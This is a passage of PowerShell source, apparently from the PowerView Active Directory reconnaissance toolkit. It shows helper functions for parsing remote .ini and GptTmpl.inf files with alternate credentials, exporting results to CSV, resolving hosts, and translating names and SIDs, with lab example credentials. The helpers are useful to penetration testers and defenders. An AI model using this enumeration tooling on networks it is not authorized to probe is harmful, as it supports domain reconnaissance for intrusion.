    929         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    930         [ValidateCount(2,2)]
    931         [int[]]$ValidateLength,
    932 
    933         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    934         [ValidateNotNullOrEmpty()]
    935         [string]$ValidatePattern,
    936 
    937         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    938         [ValidateNotNullOrEmpty()]
    939         [scriptblock]$ValidateScript,
    940 
    941         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    942         [ValidateNotNullOrEmpty()]
    943         [string[]]$ValidateSet,
    944 
    945         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
    946         [ValidateNotNullOrEmpty()]
    947         [ValidateScript({
    948             if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
    949             {
    950                 Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
    951             }
    952             $true
    953         })]
    954         $Dictionary = $false,
    955 
    956         [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
    957         [switch]$CreateVariables,
    958 
    959         [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
    960         [ValidateNotNullOrEmpty()]
    961         [ValidateScript({
    962             # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
    963             # so one can't use PowerShell's '-is' operator to validate type.
    964             if($_.GetType().Name -notmatch 'Dictionary') {
    965                 Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
    966             }
    967             $true
    968         })]
    969         $BoundParameters
    970     )
    971 
    972     Begin {
    973         $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
    974         function _temp { [CmdletBinding()] Param() }
    975         $CommonParameters = (Get-Command _temp).Parameters.Keys
    976     }
    977 
    978     Process {
    979         if($CreateVariables) {
    980             $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
    981             ForEach($Parameter in $BoundKeys) {
    982                 if ($Parameter) {
    983                     Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
    984                 }
    985             }
    986         }
    987         else {
    988             $StaleKeys = @()
    989             $StaleKeys = $PSBoundParameters.GetEnumerator() |
    990                         ForEach-Object {
    991                             if($_.Value.PSobject.Methods.Name -match '^Equals$') {
    992                                 # If object has Equals, compare bound key and variable using it
    993                                 if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
    994                                     $_.Key
    995                                 }
    996                             }
    997                             else {
    998                                 # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
    999                                 if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
   1000                                     $_.Key
   1001                                 }
   1002                             }
   1003                         }
   1004             if($StaleKeys) {
   1005                 $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
   1006             }
   1007 
   1008             # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
   1009             $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator()  |
   1010                                         # Find parameters that are belong to the current parameter set
   1011                                         Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
   1012                                             Select-Object -ExpandProperty Key |
   1013                                                 # Find unbound parameters in the current parameter set
   1014                                                 Where-Object { $PSBoundParameters.Keys -notcontains $_ }
   1015 
   1016             # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
   1017             $tmp = $null
   1018             ForEach ($Parameter in $UnboundParameters) {
   1019                 $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
   1020                 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
   1021                     $PSBoundParameters.$Parameter = $DefaultValue
   1022                 }
   1023             }
   1024 
   1025             if($Dictionary) {
   1026                 $DPDictionary = $Dictionary
   1027             }
   1028             else {
   1029                 $DPDictionary = $InternalDictionary
   1030             }
   1031 
   1032             # Shortcut for getting local variables
   1033             $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
   1034 
   1035             # Strings to match attributes and validation arguments
   1036             $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
   1037             $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
   1038             $AliasRegex = '^Alias$'
   1039             $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
   1040 
   1041             switch -regex ($PSBoundParameters.Keys) {
   1042                 $AttributeRegex {
   1043                     Try {
   1044                         $ParameterAttribute.$_ = . $GetVar
   1045                     }
   1046                     Catch {
   1047                         $_
   1048                     }
   1049                     continue
   1050                 }
   1051             }
   1052 
   1053             if($DPDictionary.Keys -contains $Name) {
   1054                 $DPDictionary.$Name.Attributes.Add($ParameterAttribute)
   1055             }
   1056             else {
   1057                 $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
   1058                 switch -regex ($PSBoundParameters.Keys) {
   1059                     $ValidationRegex {
   1060                         Try {
   1061                             $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
   1062                             $AttributeCollection.Add($ParameterOptions)
   1063                         }
   1064                         Catch { $_ }
   1065                         continue
   1066                     }
   1067                     $AliasRegex {
   1068                         Try {
   1069                             $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
   1070                             $AttributeCollection.Add($ParameterAlias)
   1071                             continue
   1072                         }
   1073                         Catch { $_ }
   1074                     }
   1075                 }
   1076                 $AttributeCollection.Add($ParameterAttribute)
   1077                 $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
   1078                 $DPDictionary.Add($Name, $Parameter)
   1079             }
   1080         }
   1081     }
   1082 
   1083     End {
   1084         if(!$CreateVariables -and !$Dictionary) {
   1085             $DPDictionary
   1086         }
   1087     }
   1088 }
   1089 
   1090 
   1091 function Get-IniContent {
   1092 <#
   1093 .SYNOPSIS
   1094 
   1095 This helper parses an .ini file into a hashtable.
   1096 
   1097 Author: 'The Scripting Guys'
   1098 Modifications: @harmj0y (-Credential support)
   1099 License: BSD 3-Clause
   1100 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
   1101 
   1102 .DESCRIPTION
   1103 
   1104 Parses an .ini file into a hashtable. If -Credential is supplied,
   1105 then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
   1106 is parsed, and then the connection is destroyed with Remove-RemoteConnection.
   1107 
   1108 .PARAMETER Path
   1109 
   1110 Specifies the path to the .ini file to parse.
   1111 
   1112 .PARAMETER OutputObject
   1113 
   1114 Switch. Output a custom PSObject instead of a hashtable.
   1115 
   1116 .PARAMETER Credential
   1117 
   1118 A [Management.Automation.PSCredential] object of alternate credentials
   1119 for connection to the remote system.
   1120 
   1121 .EXAMPLE
   1122 
   1123 Get-IniContent C:\Windows\example.ini
   1124 
   1125 .EXAMPLE
   1126 
   1127 "C:\Windows\example.ini" | Get-IniContent -OutputObject
   1128 
   1129 Outputs the .ini details as a proper nested PSObject.
   1130 
   1131 .EXAMPLE
   1132 
   1133 "C:\Windows\example.ini" | Get-IniContent
   1134 
   1135 .EXAMPLE
   1136 
   1137 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   1138 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   1139 Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
   1140 
   1141 .INPUTS
   1142 
   1143 String
   1144 
   1145 Accepts one or more .ini paths on the pipeline.
   1146 
   1147 .OUTPUTS
   1148 
   1149 Hashtable
   1150 
   1151 Ouputs a hashtable representing the parsed .ini file.
   1152 
   1153 .LINK
   1154 
   1155 https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
   1156 #>
   1157 
   1158     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   1159     [OutputType([Hashtable])]
   1160     [CmdletBinding()]
   1161     Param(
   1162         [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   1163         [Alias('FullName', 'Name')]
   1164         [ValidateNotNullOrEmpty()]
   1165         [String[]]
   1166         $Path,
   1167 
   1168         [Management.Automation.PSCredential]
   1169         [Management.Automation.CredentialAttribute()]
   1170         $Credential = [Management.Automation.PSCredential]::Empty,
   1171 
   1172         [Switch]
   1173         $OutputObject
   1174     )
   1175 
   1176     BEGIN {
   1177         $MappedComputers = @{}
   1178     }
   1179 
   1180     PROCESS {
   1181         ForEach ($TargetPath in $Path) {
   1182             if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
   1183                 $HostComputer = (New-Object System.Uri($TargetPath)).Host
   1184                 if (-not $MappedComputers[$HostComputer]) {
   1185                     # map IPC$ to this computer if it's not already
   1186                     Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
   1187                     $MappedComputers[$HostComputer] = $True
   1188                 }
   1189             }
   1190 
   1191             if (Test-Path -Path $TargetPath) {
   1192                 if ($PSBoundParameters['OutputObject']) {
   1193                     $IniObject = New-Object PSObject
   1194                 }
   1195                 else {
   1196                     $IniObject = @{}
   1197                 }
   1198                 Switch -Regex -File $TargetPath {
   1199                     "^\[(.+)\]" # Section
   1200                     {
   1201                         $Section = $matches[1].Trim()
   1202                         if ($PSBoundParameters['OutputObject']) {
   1203                             $Section = $Section.Replace(' ', '')
   1204                             $SectionObject = New-Object PSObject
   1205                             $IniObject | Add-Member Noteproperty $Section $SectionObject
   1206                         }
   1207                         else {
   1208                             $IniObject[$Section] = @{}
   1209                         }
   1210                         $CommentCount = 0
   1211                     }
   1212                     "^(;.*)$" # Comment
   1213                     {
   1214                         $Value = $matches[1].Trim()
   1215                         $CommentCount = $CommentCount + 1
   1216                         $Name = 'Comment' + $CommentCount
   1217                         if ($PSBoundParameters['OutputObject']) {
   1218                             $Name = $Name.Replace(' ', '')
   1219                             $IniObject.$Section | Add-Member Noteproperty $Name $Value
   1220                         }
   1221                         else {
   1222                             $IniObject[$Section][$Name] = $Value
   1223                         }
   1224                     }
   1225                     "(.+?)\s*=(.*)" # Key
   1226                     {
   1227                         $Name, $Value = $matches[1..2]
   1228                         $Name = $Name.Trim()
   1229                         $Values = $Value.split(',') | ForEach-Object { $_.Trim() }
   1230 
   1231                         # if ($Values -isnot [System.Array]) { $Values = @($Values) }
   1232 
   1233                         if ($PSBoundParameters['OutputObject']) {
   1234                             $Name = $Name.Replace(' ', '')
   1235                             $IniObject.$Section | Add-Member Noteproperty $Name $Values
   1236                         }
   1237                         else {
   1238                             $IniObject[$Section][$Name] = $Values
   1239                         }
   1240                     }
   1241                 }
   1242                 $IniObject
   1243             }
   1244         }
   1245     }
   1246 
   1247     END {
   1248         # remove the IPC$ mappings
   1249         $MappedComputers.Keys | Remove-RemoteConnection
   1250     }
   1251 }
   1252 
   1253 
   1254 function Export-PowerViewCSV {
   1255 <#
   1256 .SYNOPSIS
   1257 
   1258 Converts objects into a series of comma-separated (CSV) strings and saves the
   1259 strings in a CSV file in a thread-safe manner.
   1260 
   1261 Author: Will Schroeder (@harmj0y)  
   1262 License: BSD 3-Clause  
   1263 Required Dependencies: None  
   1264 
   1265 .DESCRIPTION
   1266 
   1267 This helper exports an -InputObject to a .csv in a thread-safe manner
   1268 using a mutex. This is so the various multi-threaded functions in
   1269 PowerView has a thread-safe way to export output to the same file.
   1270 Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
   1271 
   1272 Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
   1273 
   1274 .PARAMETER InputObject
   1275 
   1276 Specifies the objects to export as CSV strings.
   1277 
   1278 .PARAMETER Path
   1279 
   1280 Specifies the path to the CSV output file.
   1281 
   1282 .PARAMETER Delimiter
   1283 
   1284 Specifies a delimiter to separate the property values. The default is a comma (,)
   1285 
   1286 .PARAMETER Append
   1287 
   1288 Indicates that this cmdlet adds the CSV output to the end of the specified file.
   1289 Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
   1290 
   1291 .EXAMPLE
   1292 
   1293 Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
   1294 
   1295 .EXAMPLE
   1296 
   1297 Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
   1298 
   1299 .INPUTS
   1300 
   1301 PSObject
   1302 
   1303 Accepts one or more PSObjects on the pipeline.
   1304 
   1305 .LINK
   1306 
   1307 http://poshcode.org/1590
   1308 http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
   1309 #>
   1310 
   1311     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   1312     [CmdletBinding()]
   1313     Param(
   1314         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   1315         [System.Management.Automation.PSObject[]]
   1316         $InputObject,
   1317 
   1318         [Parameter(Mandatory = $True, Position = 1)]
   1319         [ValidateNotNullOrEmpty()]
   1320         [String]
   1321         $Path,
   1322 
   1323         [Parameter(Position = 2)]
   1324         [ValidateNotNullOrEmpty()]
   1325         [Char]
   1326         $Delimiter = ',',
   1327 
   1328         [Switch]
   1329         $Append
   1330     )
   1331 
   1332     BEGIN {
   1333         $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
   1334         $Exists = [System.IO.File]::Exists($OutputPath)
   1335 
   1336         # mutex so threaded code doesn't stomp on the output file
   1337         $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
   1338         $Null = $Mutex.WaitOne()
   1339 
   1340         if ($PSBoundParameters['Append']) {
   1341             $FileMode = [System.IO.FileMode]::Append
   1342         }
   1343         else {
   1344             $FileMode = [System.IO.FileMode]::Create
   1345             $Exists = $False
   1346         }
   1347 
   1348         $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
   1349         $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
   1350         $CSVWriter.AutoFlush = $True
   1351     }
   1352 
   1353     PROCESS {
   1354         ForEach ($Entry in $InputObject) {
   1355             $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
   1356 
   1357             if (-not $Exists) {
   1358                 # output the object field names as well
   1359                 $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
   1360                 $Exists = $True
   1361             }
   1362             else {
   1363                 # only output object field data
   1364                 $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
   1365             }
   1366         }
   1367     }
   1368 
   1369     END {
   1370         $Mutex.ReleaseMutex()
   1371         $CSVWriter.Dispose()
   1372         $CSVStream.Dispose()
   1373     }
   1374 }
   1375 
   1376 
   1377 function Resolve-IPAddress {
   1378 <#
   1379 .SYNOPSIS
   1380 
   1381 Resolves a given hostename to its associated IPv4 address.
   1382 
   1383 Author: Will Schroeder (@harmj0y)  
   1384 License: BSD 3-Clause  
   1385 Required Dependencies: None  
   1386 
   1387 .DESCRIPTION
   1388 
   1389 Resolves a given hostename to its associated IPv4 address using
   1390 [Net.Dns]::GetHostEntry(). If no hostname is provided, the default
   1391 is the IP address of the localhost.
   1392 
   1393 .EXAMPLE
   1394 
   1395 Resolve-IPAddress -ComputerName SERVER
   1396 
   1397 .EXAMPLE
   1398 
   1399 @("SERVER1", "SERVER2") | Resolve-IPAddress
   1400 
   1401 .INPUTS
   1402 
   1403 String
   1404 
   1405 Accepts one or more IP address strings on the pipeline.
   1406 
   1407 .OUTPUTS
   1408 
   1409 System.Management.Automation.PSCustomObject
   1410 
   1411 A custom PSObject with the ComputerName and IPAddress.
   1412 #>
   1413 
   1414     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   1415     [OutputType('System.Management.Automation.PSCustomObject')]
   1416     [CmdletBinding()]
   1417     Param(
   1418         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   1419         [Alias('HostName', 'dnshostname', 'name')]
   1420         [ValidateNotNullOrEmpty()]
   1421         [String[]]
   1422         $ComputerName = $Env:COMPUTERNAME
   1423     )
   1424 
   1425     PROCESS {
   1426         ForEach ($Computer in $ComputerName) {
   1427             try {
   1428                 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
   1429                     if ($_.AddressFamily -eq 'InterNetwork') {
   1430                         $Out = New-Object PSObject
   1431                         $Out | Add-Member Noteproperty 'ComputerName' $Computer
   1432                         $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
   1433                         $Out
   1434                     }
   1435                 }
   1436             }
   1437             catch {
   1438                 Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
   1439             }
   1440         }
   1441     }
   1442 }
   1443 
   1444 
   1445 function ConvertTo-SID {
   1446 <#
   1447 .SYNOPSIS
   1448 
   1449 Converts a given user/group name to a security identifier (SID).
   1450 
   1451 Author: Will Schroeder (@harmj0y)  
   1452 License: BSD 3-Clause  
   1453 Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain  
   1454 
   1455 .DESCRIPTION
   1456 
   1457 Converts a "DOMAIN\username" syntax to a security identifier (SID)
   1458 using System.Security.Principal.NTAccount's translate function. If alternate
   1459 credentials are supplied, then Get-ADObject is used to try to map the name
   1460 to a security identifier.
   1461 
   1462 .PARAMETER ObjectName
   1463 
   1464 The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
   1465 
   1466 .PARAMETER Domain
   1467 
   1468 Specifies the domain to use for the translation, defaults to the current domain.
   1469 
   1470 .PARAMETER Server
   1471 
   1472 Specifies an Active Directory server (domain controller) to bind to for the translation.
   1473 
   1474 .PARAMETER Credential
   1475 
   1476 Specifies an alternate credential to use for the translation.
   1477 
   1478 .EXAMPLE
   1479 
   1480 ConvertTo-SID 'DEV\dfm'
   1481 
   1482 .EXAMPLE
   1483 
   1484 'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
   1485 
   1486 .EXAMPLE
   1487 
   1488 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   1489 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   1490 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
   1491 
   1492 .INPUTS
   1493 
   1494 String
   1495 
   1496 Accepts one or more username specification strings on the pipeline.
   1497 
   1498 .OUTPUTS
   1499 
   1500 String
   1501 
   1502 A string representing the SID of the translated name.
   1503 #>
   1504 
   1505     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   1506     [OutputType([String])]
   1507     [CmdletBinding()]
   1508     Param(
   1509         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   1510         [Alias('Name', 'Identity')]
   1511         [String[]]
   1512         $ObjectName,
   1513 
   1514         [ValidateNotNullOrEmpty()]
   1515         [String]
   1516         $Domain,
   1517 
   1518         [ValidateNotNullOrEmpty()]
   1519         [Alias('DomainController')]
   1520         [String]
   1521         $Server,
   1522 
   1523         [Management.Automation.PSCredential]
   1524         [Management.Automation.CredentialAttribute()]
   1525         $Credential = [Management.Automation.PSCredential]::Empty
   1526     )
   1527 
   1528     BEGIN {
   1529         $DomainSearcherArguments = @{}
   1530         if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
   1531         if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
   1532         if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
   1533     }
   1534 
   1535     PROCESS {
   1536         ForEach ($Object in $ObjectName) {
   1537             $Object = $Object -Replace '/','\'
   1538 
   1539             if ($PSBoundParameters['Credential']) {
   1540                 $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
   1541                 if ($DN) {
   1542                     $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   1543                     $UserName = $DN.Split(',')[0].split('=')[1]
   1544 
   1545                     $DomainSearcherArguments['Identity'] = $UserName
   1546                     $DomainSearcherArguments['Domain'] = $UserDomain
   1547                     $DomainSearcherArguments['Properties'] = 'objectsid'
   1548                     Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
   1549                 }
   1550             }
   1551             else {
   1552                 try {
   1553                     if ($Object.Contains('\')) {
   1554                         $Domain = $Object.Split('\')[0]
   1555                         $Object = $Object.Split('\')[1]
   1556                     }
   1557                     elseif (-not $PSBoundParameters['Domain']) {
   1558                         $DomainSearcherArguments = @{}
   1559                         $Domain = (Get-Domain @DomainSearcherArguments).Name
   1560                     }
   1561 
   1562                     $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
   1563                     $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
   1564                 }
   1565                 catch {
   1566                     Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
   1567                 }
   1568             }
   1569         }
   1570     }
   1571 }
   1572 
   1573 
   1574 function ConvertFrom-SID {
   1575 <#
   1576 .SYNOPSIS
   1577 
   1578 Converts a security identifier (SID) to a group/user name.
   1579 
   1580 Author: Will Schroeder (@harmj0y)  
   1581 License: BSD 3-Clause  
   1582 Required Dependencies: Convert-ADName  
   1583 
   1584 .DESCRIPTION
   1585 
   1586 Converts a security identifier string (SID) to a group/user name
   1587 using Convert-ADName.
   1588 
   1589 .PARAMETER ObjectSid
   1590 
   1591 Specifies one or more SIDs to convert.
   1592 
   1593 .PARAMETER Domain
   1594 
   1595 Specifies the domain to use for the translation, defaults to the current domain.
   1596 
   1597 .PARAMETER Server
   1598 
   1599 Specifies an Active Directory server (domain controller) to bind to for the translation.
   1600 
   1601 .PARAMETER Credential
   1602 
   1603 Specifies an alternate credential to use for the translation.
   1604 
   1605 .EXAMPLE
   1606 
   1607 ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
   1608 
   1609 TESTLAB\harmj0y
   1610 
   1611 .EXAMPLE
   1612 
   1613 "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
   1614 
   1615 TESTLAB\WINDOWS2$
   1616 TESTLAB\harmj0y
   1617 BUILTIN\Distributed COM Users
   1618 
   1619 .EXAMPLE
   1620 
   1621 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   1622 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
   1623 ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
   1624 
   1625 TESTLAB\harmj0y
   1626 
   1627 .INPUTS
   1628 
   1629 String
   1630 
   1631 Accepts one or more SID strings on the pipeline.
   1632 
   1633 .OUTPUTS
   1634 
   1635 String
   1636 
   1637 The converted DOMAIN\username.
   1638 #>
   1639 
   1640     [OutputType([String])]
   1641     [CmdletBinding()]
   1642     Param(
   1643         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   1644         [Alias('SID')]
   1645         [ValidatePattern('^S-1-.*')]
   1646         [String[]]
   1647         $ObjectSid,
   1648 
   1649         [ValidateNotNullOrEmpty()]
   1650         [String]
   1651         $Domain,
   1652 
   1653         [ValidateNotNullOrEmpty()]
   1654         [Alias('DomainController')]
   1655         [String]
   1656         $Server,
   1657 
   1658         [Management.Automation.PSCredential]
   1659         [Management.Automation.CredentialAttribute()]
   1660         $Credential = [Management.Automation.PSCredential]::Empty
   1661     )
   1662 
   1663     BEGIN {
   1664         $ADNameArguments = @{}
   1665         if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
   1666         if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
   1667         if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
   1668     }
   1669 
   1670     PROCESS {
   1671         ForEach ($TargetSid in $ObjectSid) {
   1672             $TargetSid = $TargetSid.trim('*')
   1673             try {
   1674                 # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
   1675                 Switch ($TargetSid) {
   1676                     'S-1-0'         { 'Null Authority' }
   1677                     'S-1-0-0'       { 'Nobody' }
   1678                     'S-1-1'         { 'World Authority' }
   1679                     'S-1-1-0'       { 'Everyone' }
   1680                     'S-1-2'         { 'Local Authority' }
   1681                     'S-1-2-0'       { 'Local' }
   1682                     'S-1-2-1'       { 'Console Logon ' }
   1683                     'S-1-3'         { 'Creator Authority' }
   1684                     'S-1-3-0'       { 'Creator Owner' }
   1685                     'S-1-3-1'       { 'Creator Group' }
   1686                     'S-1-3-2'       { 'Creator Owner Server' }
   1687                     'S-1-3-3'       { 'Creator Group Server' }
   1688                     'S-1-3-4'       { 'Owner Rights' }
   1689                     'S-1-4'         { 'Non-unique Authority' }
   1690                     'S-1-5'         { 'NT Authority' }
   1691                     'S-1-5-1'       { 'Dialup' }
   1692                     'S-1-5-2'       { 'Network' }
   1693                     'S-1-5-3'       { 'Batch' }
   1694                     'S-1-5-4'       { 'Interactive' }
   1695                     'S-1-5-6'       { 'Service' }
   1696                     'S-1-5-7'       { 'Anonymous' }
   1697                     'S-1-5-8'       { 'Proxy' }
   1698                     'S-1-5-9'       { 'Enterprise Domain Controllers' }
   1699                     'S-1-5-10'      { 'Principal Self' }
   1700                     'S-1-5-11'      { 'Authenticated Users' }
   1701                     'S-1-5-12'      { 'Restricted Code' }
   1702                     'S-1-5-13'      { 'Terminal Server Users' }
   1703                     'S-1-5-14'      { 'Remote Interactive Logon' }
   1704                     'S-1-5-15'      { 'This Organization ' }
   1705                     'S-1-5-17'      { 'This Organization ' }
   1706                     'S-1-5-18'      { 'Local System' }
   1707                     'S-1-5-19'      { 'NT Authority' }
   1708                     'S-1-5-20'      { 'NT Authority' }
   1709                     'S-1-5-80-0'    { 'All Services ' }
   1710                     'S-1-5-32-544'  { 'BUILTIN\Administrators' }
   1711                     'S-1-5-32-545'  { 'BUILTIN\Users' }
   1712                     'S-1-5-32-546'  { 'BUILTIN\Guests' }
   1713                     'S-1-5-32-547'  { 'BUILTIN\Power Users' }
   1714                     'S-1-5-32-548'  { 'BUILTIN\Account Operators' }
   1715                     'S-1-5-32-549'  { 'BUILTIN\Server Operators' }
   1716                     'S-1-5-32-550'  { 'BUILTIN\Print Operators' }
   1717                     'S-1-5-32-551'  { 'BUILTIN\Backup Operators' }
   1718                     'S-1-5-32-552'  { 'BUILTIN\Replicators' }
   1719                     'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
   1720                     'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' }
   1721                     'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' }
   1722                     'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' }
   1723                     'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' }
   1724                     'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' }
   1725                     'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' }
   1726                     'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' }
   1727                     'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' }
   1728                     'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' }
   1729                     'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' }
   1730                     'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' }
   1731                     'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' }
   1732                     'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' }
   1733                     'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' }
   1734                     'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' }
   1735                     'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' }
   1736                     'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' }
   1737                     Default {
   1738                         Convert-ADName -Identity $TargetSid @ADNameArguments
   1739                     }
   1740                 }
   1741             }
   1742             catch {
   1743                 Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
   1744             }
   1745         }
   1746     }
   1747 }
   1748 
   1749 
   1750 function Convert-ADName {
   1751 <#
   1752 .SYNOPSIS
   1753 
   1754 Converts Active Directory object names between a variety of formats.
   1755 
   1756 Author: Bill Stewart, Pasquale Lantella  
   1757 Modifications: Will Schroeder (@harmj0y)  
   1758 License: BSD 3-Clause  
   1759 Required Dependencies: None  
   1760 
   1761 .DESCRIPTION
   1762 
   1763 This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
   1764 and translates Active Directory names between various formats using the NameTranslate COM object.
   1765 
   1766 .PARAMETER Identity
   1767 
   1768 Specifies the Active Directory object name to translate, of the following form:
   1769 
   1770     DN                short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
